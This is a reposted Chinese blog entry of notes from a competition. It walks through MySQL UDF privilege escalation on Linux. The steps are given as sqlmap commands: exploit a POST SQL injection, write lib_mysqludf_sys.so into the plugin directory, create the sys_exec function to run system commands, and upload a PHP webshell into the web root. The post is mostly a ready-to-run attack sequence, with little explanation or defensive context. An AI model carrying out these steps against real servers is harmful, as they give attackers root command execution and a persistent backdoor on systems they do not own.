IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    Linux MySQL Udf 提权

    admin发表于 2017-01-03 04:38:39
    love 0

    前几天做一个小竞赛中有一个题目:给定的测试环境登录页面有POST注入漏洞,于是果断操起sqlmap跑数 据,无意中发现当前MySQL连接用户为root,于是想到udf提权「虽然Windows下MySQL提权基本上没问题,但是Linux环境下原来一直 没成功过。」,最终成功获取root权限「主要问题在于MySQL是以root权限运行」,记录笔记如下,方便以后查阅:

    具体步骤如下

    1. 找到MySQL插件目录:
      python sqlmap.py -u 'http://xxxx' --sql-shell
      
      show variables like "%plugin%";
    2. 利用sqlmap上传 lib_mysqludf_sys到MySQL插件目录;
      python sqlmap.py -u 'http://xxxx' --file-write=/lib_mysqludf_sys.so 
      --file-dest=/usr/lib/mysql/plugin/
    1. 激活存储过程「sys_exec」函数:
      python sqlmap.py -u 'http://xxxx' --sql-shell
      
      CREATE FUNCTION sys_exec RETURNS STRING SONAME lib_mysqludf_sys.so
      
      SELECT * FROM information_schema.routines
      
      sys_exec(id);
    2. 也利用sqlmap上传后门程序:
      python sqlmap.py -u 'http://xxx'  --file-write=C:/phpspy.php --file-dest=/var/www/spy.php

    测试环境

    • Linux Ubuntu 11.04 (Natty Narwhal)
    • PHP 5.3.5, Apache 2.2.17
    • MySQL 5.0

    参考资料

    1. http://forelsec.blogspot.com/2012/08/solving-pwn0s-v2.html
    2. https://github.com/mysqludf/lib_mysqludf_sys
    3. https://code.google.com/p/mysql-udf-http/

    【via@网络】 注:本文转载自网络,出处未署名作者,作者看到本文请留言我们将及时补充。



沪ICP备19023445号-2号
友情链接